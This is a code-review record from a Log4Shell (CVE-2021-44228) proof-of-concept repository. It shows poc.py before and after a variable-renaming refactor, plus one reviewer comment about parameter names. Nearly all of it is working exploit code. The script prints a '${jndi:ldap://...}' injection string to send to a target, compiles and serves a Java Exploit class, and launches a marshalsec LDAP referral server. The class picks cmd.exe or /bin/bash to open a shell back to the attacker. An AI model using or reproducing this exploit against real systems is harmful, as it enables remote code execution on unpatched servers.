Repository: kozmer/log4j-shell-poc
File: poc.py (Python)

Code before:

  except Exception as e:
    print(Fore.RED + f'[-] Something went wrong {e.toString()}')

  checkJavaAvailible()
  print(Fore.GREEN + '[+] Setting up LDAP server\n')

  # create the LDAP server on new thread
  t1 = threading.Thread(target=createLdapServer, args=(userip,webport))
  t1.start()

  # start the web server
    
  print(f"[+] Starting the Web server on port {webport} http://0.0.0.0:{webport}")
  httpd = HTTPServer(('0.0.0.0', int(webport)), SimpleHTTPRequestHandler)
  httpd.serve_forever()



def checkJavaAvailible():
  javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
  if(javaver != 0):
    print(Fore.RED + '[-] Java is not installed inside the repository ')
    sys.exit()
  

def createLdapServer(userip, lport):
  sendme = ("${jndi:ldap://%s:1389/a}") % (userip)
  print(Fore.GREEN +"[+] Send me: "+sendme+"\n")

  subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])

  url = "http://{}:{}/#Exploit".format(userip, lport)
  subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
                 "target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])
 

def header():
  print(Fore.BLUE+"""
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
""")

if __name__ == "__main__":
  header()

  try:
    parser = argparse.ArgumentParser(description='please enter the values ')

    parser.add_argument('--userip', metavar='userip', type=str,
                        nargs='+', help='Enter IP for LDAPRefServer & Shell')

Review comment (suggestion):
Due to change of parameter names (even though they are pretty inconsistent):

https://github.dev/Dannygop/log4j-shell-poc/blob/7f5d0bd7400f64cc4a4e1abc89e2d73eb8113a89/poc.py#L97 `webport` needs to be changed to `web_port` twice.

Code after:
    String os = System.getProperty("os.name").toLowerCase();
    if (os.contains("win")){
      // Operating system is Windows based.
      return "cmd.exe";
    } else if (os.contains("osx")){
      // Operating system is Apple OSX based.
      return "/bin/bash";   // (not sure, don't have apple to test this).
    } else if (os.contains("nix") || os.contains("aix") || os.contains("nux")){
      // Operating system is based on Linux/Unix
      return "/bin/bash";
    }
    return "/bin/bash";
  }
}
    """) % (user_ip, l_port)

    # writing the exploit to Exploit.java file
    try:
        with open("Exploit.java", "w+") as exploit_file:
            exploit_file.write(str(gen_exploit))
        print(Fore.GREEN + '[+] Exploit java class created success')
    except Exception as e:
        print(Fore.RED + f'[-] Something went wrong {e.__str__()}')
    check_java_available()
    print(Fore.GREEN + '[+] Setting up the LDAP and web server.')
    print(Fore.GREEN + f"[+] Starting the Web server on port {webport} http://0.0.0.0:{webport}", end="\n\n")

    # create the LDAP server on new thread
    t1 = threading.Thread(target=create_ldap_server, args=(user_ip, web_port))
    t1.start()

    # start the web server
    httpd = HTTPServer(('0.0.0.0', int(web_port)), SimpleHTTPRequestHandler)
    httpd.serve_forever()

def check_java_available():
    java_version = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
    if java_version != 0:
        print(Fore.RED + '[-] Java is not installed inside the repository!')
        sys.exit(1)


def create_ldap_server(user_ip, lport):
    send_me = "${jndi:ldap://%s:1389/a}" % user_ip
    print(Fore.GREEN + "[+] Send me: " + send_me, end="\n\n")

    subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])

    url = f"http://{user_ip}:{lport}/#Exploit"
    subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
                    "target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])